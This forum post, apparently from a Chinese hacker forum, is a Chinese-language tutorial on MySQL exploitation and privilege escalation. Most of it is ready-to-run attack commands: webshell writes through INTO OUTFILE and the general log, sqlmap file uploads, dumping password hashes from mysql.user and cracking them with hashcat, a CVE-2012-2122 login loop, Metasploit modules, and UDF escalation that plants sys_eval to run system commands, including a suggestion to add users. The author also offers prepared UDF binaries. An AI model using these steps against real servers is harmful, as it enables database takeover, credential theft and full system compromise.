• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

MySQL 漏洞利用与提权


JieGe

Recommended Posts

  • Members

自从接触安全以来就 MySQL 的 UDF 提权、MOF 提权耳熟能详,但是貌似国光我一直都没有单独总结过这些零散的姿势点,所以本文就诞生了,再解决自己以前的困扰之余,也希望本文可以帮助到其他网友。

权限获取

数据库操作权限

本文讲的是 MySQL 提权相关知识,但是提权之前得先拿到高权限的 MySQL 用户才可以,拿到 MySQL 的用户名和密码的方式多种多样,但是不外乎就下面几种方法:

  1. MySQL 3306 端口弱口令爆破
  2. sqlmap 注入的 --sql-shell 模式
  3. 网站的数据库配置文件中拿到明文密码信息
  4. CVE-2012-2122 等这类漏洞直接拿下 MySQL 权限

Webshell 权限

into oufile 写 shell

  • 知道网站物理路径
  • 高权限数据库用户
  • load_file() 开启 即 secure_file_priv 无限制
  • 网站路径有写入权限

首先基础语法查询是否 secure_file_priv 没有限制Sql


 
 
mysql> show global variables like '%secure_file_priv%';
 
+------------------+-------+
 
| Variable_name | Value |
 
+------------------+-------+
 
| secure_file_priv | |
 
+------------------+-------+

 
 
 
 
 
 
Value 说明
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

如果满足上述所有条件的话,那么可以尝试使用下面原生的 SQL 语句来直接写 shell:Bash


 
 
select '<?php phpinfo(); ?>' into outfile '/var/www/html/info.php';

 
 
 
 
 
 

sqlmap 中可以如下操作:Bash


 
 
sqlmap -u "http://x.x.x.x/?id=x" --file-write="/Users/guang/Desktop/shell.php" --file-dest="/var/www/html/test/shell.php"

 
 
 
 
 
 

一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。

日志文件写 shell

  • Web 文件夹宽松权限可以写入
  • Windows 系统下
  • 高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshellBash


 
 
mysql> SHOW VARIABLES LIKE 'general%';
 
+------------------+---------------------------------+
 
| Variable_name | Value |
 
+------------------+---------------------------------+
 
| general_log | OFF |
 
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
 
+------------------+---------------------------------+

 
 
 
 
 
 

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:Bash


 
 
# 更改日志文件位置
 
set global general_log = "ON";
 
set global general_log_file='/var/www/html/info.php';
 
 
 
# 查看当前配置
 
mysql> SHOW VARIABLES LIKE 'general%';
 
+------------------+-----------------------------+
 
| Variable_name | Value |
 
+------------------+-----------------------------+
 
| general_log | ON |
 
| general_log_file | /var/www/html/info.php |
 
+------------------+-----------------------------+
 
 
 
# 往日志里面写入 payload
 
select '<?php phpinfo();?>';
 
 
 
# 此时已经写到 info.php 文件当中了
 
root@c1595d3a029a:/var/www/html/$ cat info.php
 
/usr/sbin/mysqld, Version: 5.5.61-0ubuntu0.14.04.1 ((Ubuntu)). started with:
 
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
 
Time Id Command Argument
 
201031 21:14:46 40 Query SHOW VARIABLES LIKE 'general%'
 
201031 21:15:34 40 Query select '<?php phpinfo();?>

 
 
 
 
 
 

这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的 :Bash


 
 
-rw-rw---- 1 mysql mysql 293 Oct 31 21:15 info.php

 
 
 
 
 
 

Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。

前面分别介绍了数据库权限和 Webshell 权限,那么能不能利用已经获取到的 MySQL 权限来执行系统主机的命令的呢?这个就是下面主要介绍的了 MySQL 提权的知识点了。

Hash 获取与解密

假设存在 SQL 注入 DBA 权限,如果目标 3306 端口也是可以访问通的话,可以尝试读取 MySQL 的 Hash 来解密:Sql


 
 
# MySQL <= 5.6 版本
 
mysql> select host, user, password from mysql.user;
 
+-----------+------+-------------------------------------------+
 
| host | user | password |
 
+-----------+------+-------------------------------------------+
 
| localhost | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
 
| 127.0.0.1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
 
| ::1 | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
 
| % | root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
 
+-----------+------+-------------------------------------------+
 
 
 
# MySQL >= 5.7 版本
 
mysql > select host,user,authentication_string from mysql.user;
 
+-----------+---------------+-------------------------------------------+
 
| host | user | authentication_string |
 
+-----------+---------------+-------------------------------------------+
 
| localhost | root | *8232A1298A49F710DBEE0B330C42EEC825D4190A |
 
| localhost | mysql.session | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
 
| localhost | mysql.sys | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
 
+-----------+---------------+-------------------------------------------+

 
 
 
 
 
 

获取到的 MySQL Hash 值可以通过一些在线网站来解密,如国内的 CMD5 :

16057446446922.png

也可以通过 Hashcat 来手动跑字典,基本上使用 GPU 破解的话也是可以秒破解的:Bash


 
 
hashcat -a 0 -m 300 --force '8232A1298A49F710DBEE0B330C42EEC825D4190A' password.txt -O

 
 
 
 
 
 

-a 破解模式

指定要使用的破解模式,其值参考后面对参数R


 
 
- [ Attack Modes ] -
 
 
 
# | Mode
 
===+======
 
0 | Straight # 直接字典破解
 
1 | Combination # 组合破解
 
3 | Brute-force # 掩码暴力破解
 
6 | Hybrid Wordlist + Mask # 字典+掩码破解
 
7 | Hybrid Mask + Wordlist # 掩码+字典破解

 
 
 
 
 
 

-m 破解hash类型

指定要破解的hash类型,后面跟hash类型对应的数字,具体类型详见下表:Bash


 
 
12 | PostgreSQL | Database Server
 
131 | MSSQL (2000) | Database Server
 
132 | MSSQL (2005) | Database Server
 
1731 | MSSQL (2012, 2014) | Database Server
 
200 | MySQL323 | Database Server
 
300 | MySQL4.1/MySQL5 | Database Server
 
...

 
 
 
 
 
 

–force

忽略破解过程中的警告信息

-O

--optimized-kernel-enable 启用优化的内核(限制密码长度)

16057458409201.png

关于更多 Hashcat 的详细教程可以参考国光我的这一篇文章:Hashcat学习记录

MySQL 历史上的漏洞

yaSSL 缓冲区溢出

MySQL yaSSL SSL Hello Message Buffer Overflow 这个缓冲区溢出漏洞 2008 年开始被曝出来,距离现在已经十几年的历史了,所以国光这里没有找到对应的环境测试,不过 MSF 里面已经集成好了对应的模块了:Bash


 
 
msf6 > use exploit/windows/mysql/mysql_yassl_hello
 
msf6 > use exploit/linux/mysql/mysql_yassl_hello

 
 
 
 
 
 

有条件的朋友可以搭建这个漏洞对应的靶场环境

Linux : MySQL 5.0.45-Debian_1ubuntu3.1-log

Windows : MySQL 5.0.45-community-nt

CVE-2012-2122

知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库:Bash


 
 
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done

 
 
 
 
 
 
16057587301960.png

MSF 里面也有了对应的脚本模块可以直接使用,成功后会直接 DUMP 出 MySQL 的 Hash 值:Bash


 
 
msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
 
msf6 > set rhosts 127.0.0.1
 
msf6 > run

 
 
 
 
 
 
16057589592021.png

这个 MySQL 的 Hash 解密出的结果为 123456

UDF 提权

自定义函数,是数据库功能的一种扩展。用户通?自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。

手工复现

动态链接库

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。

  • sqlmap 的 UDF 动态链接库文件位置

Bash


 
 
sqlmap根目录/data/udf/mysql

 
 
 
 
 
 
16042389608666.png

不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:Bash


 
 
# 查看当前目录情况
 
➜ pwd
 
/Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak
 
 
 
# 解码 32 位的 Linux 动态链接库
 
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
 
 
 
# 解码 64 位的 Linux 动态链接库
 
➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so
 
 
 
# 解码 32 位的 Windows 动态链接库
 
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll
 
 
 
# 解码 64 位的 Windows 动态链接库
 
➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
 
 
 
# 查看当前目录下的情况
 
➜ ls
 
README.txt cloak.py lib_mysqludf_sys_32.so lib_mysqludf_sys_64.so
 
__init__.py lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll

 
 
 
 
 
 

国光打包了 sqlmap 解码后的动态链接库:蓝奏云 – sqlmap udf.zip 需要的朋友可以自提

  • Metasploit 的 UDF 动态链接库文件位置

Bash


 
 
MSF 根目录/embedded/framework/data/exploits/mysql

 
 
 
 
 
 
16042411877187.png

Metasploit 自带的动态链接库文件无需解码,开箱即可食用。

国光使用 010-Editor 对比了 metsaploit 自带的与 sqlmap 解码后的动态链接库文件,发现他们的内容一模一样。

下面来看下动态链接库里面有包含了哪些函数:

16042478578910.png

寻找插件目录

接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:Sql


 
 
mysql> show variables like '%plugin%';
 
+---------------+------------------------------+
 
| Variable_name | Value |
 
+---------------+------------------------------+
 
| plugin_dir | /usr/local/mysql/lib/plugin/ |
 
+---------------+------------------------------+

 
 
 
 
 
 

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹:Bash


 
 
mysql > select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

 
 
 
 
 
 

通过 NTFS ADS流创建文件夹成功率不高,目前 MySQL 官方貌似已经阉割了这个功能。那么如果找到 MySQL 的安装目录呢?通用也有对应的 SQL 语句可以查询出来:Sql


 
 
mysql> select @@basedir;
 
+------------------+
 
| @@basedir |
 
+------------------+
 
| /usr/local/mysql |
 
+------------------+

 
 
 
 
 
 

写入动态链接库

写入动态链接库可以分为下面几种情形:

SQL 注入且是高权限,plugin 目录可写且需要 secure_file_priv 无限制,MySQL 插件目录可以被 MySQL 用户写入,这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击Bash


 
 
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

 
 
 
 
 
 
16055961029549.png
  1. 如果没有注入的话,我们可以操作原生 SQL 语句,这种情况下当 secure_file_priv 无限制的时候,我们也是可以手工写文件到 plugin 目录下的:

Sql


 
 
# 直接 SELECT 查询十六进制写入
 
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
 
 
 
# 解码十六进制再写入多此一举
 
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

 
 
 
 
 
 

这里的十六进制怎么获取呢?可以利用 MySQL 自带的 hex 函数来编码:Sql


 
 
# 直接传入路径编码
 
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
 
 
 
# 也可以将路径 hex 编码
 
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

 
 
 
 
 
 

一般为了更方便观察,可以将编码后的结果导入到新的文件中方便观察:Sql


 
 
SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt';
 
 
 
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt';

 
 
 
 
 
 

为了方便大家直接复制,国光这里单独写了个页面,有意者自取:MySQL UDF 提权十六进制查询Bash


 
 
ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )

 
 
 
 
 
 

网友们可能看到这个报错,因为 lib_mysqludf_sys_64.dll 失败,最后使用 lib_mysqludf_sys_32.dll 才成功,所以这里的 dll 应该和系统位数无关,可能和 MySQL 的安装版本有关系,而 PHPStudy 自带的 MySQL 版本是 32 位的

创建自定义函数并调用命令

Sql


 
 
mysql > CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

 
 
 
 
 
 

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval:Sql


 
 
mysql> select * from mysql.func;
 
+----------+-----+---------+----------+
 
| name | ret | dl | type |
 
+----------+-----+---------+----------+
 
| sys_eval | 0 | udf.dll | function |
 
+----------+-----+---------+----------+

 
 
 
 
 
 

这里的 sys_eval 支持自定义,接着就可以通过创建的这个函数来执行系统命令了:Bash


 
 
mysql > select sys_eval('whoami');

 
 
 
 
 
 

如果在 Windows 系统下的话应该就是最高权限了,执行一些 net user 增加用户的命令应该都是可以成功的

删除自定义函数

Sql


 
 
mysql > drop function sys_eval;

 
 
 
 
 
 

UDF shell

假设目标 MySQL 在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候一些网页脚本就比较方便好用了。

UDF.PHP

t00ls UDF.PHP 简单方便,一键 DUMP UDF 和函数,操作门槛降低了很多:

16057508091895.png
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now